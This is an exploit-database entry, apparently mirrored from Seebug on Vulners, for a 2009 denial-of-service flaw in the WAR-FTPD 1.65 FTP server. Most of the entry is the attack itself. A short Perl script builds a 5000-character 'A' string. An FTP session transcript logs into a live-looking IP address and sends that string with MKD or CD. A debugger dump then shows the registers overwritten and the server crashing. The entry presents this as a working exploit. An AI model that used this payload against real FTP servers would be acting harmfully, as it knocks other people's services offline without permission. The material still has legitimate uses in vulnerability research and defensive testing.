Lucene search
K

WAR-FTPD 1.65 (MKD/CD Requests) Denial of Service Vuln

🗓️ 25 Aug 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 27 Views

WAR-FTPD 1.65 Denial of Service Vulnerabilit

Code

                                                WAR-FTPD 1.65 (MKD & CD) requests Remote Denial of Service
exploited by opt!x hacker
mail: [email protected]
greetz to his0k4
about : http://securityreason.com/exploitalert/6971
you have to connect to target server from cmd like that:
i sended it with perl and python scripts but it's not working because im
beginner in remotes
############################################################
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrateur>ftp
ftp> open
Vers 5.237.109.181 21
Connecté à 5.237.109.181.
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
Utilisateur (5.237.109.181:(none)) : root
331 User name okay, Need password.
Mot de passe :
230 User logged in, proceed.
ftp> MKD A x 5000 or cd A x 5000
##########################################################

you have to execute this perl script then put his content after MKD or CD
__________________________________________________________________
my $crash= "A" x 5000;
open(c,">>denial.txt");
print c $crash;
print "[+] Done !! [+]";
close(c);
_________________________________________________________________

then olly is executed because im working with this option : just in time
debugger

###########################################################################
#################"""
EAX 41414141
ECX 008EEC18 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
EDX 008E0278
EBX 008E0000
ESP 00B2F538
EBP 00B2F758
ESI 008EEC10 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
EDI 41414141
EIP 7C9211DE ntdll.7C9211DE
###########################################################################
##################"""

and programm will be crashed :) 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Aug 2009 00:00Current
7.1High risk
Vulners AI Score7.1
27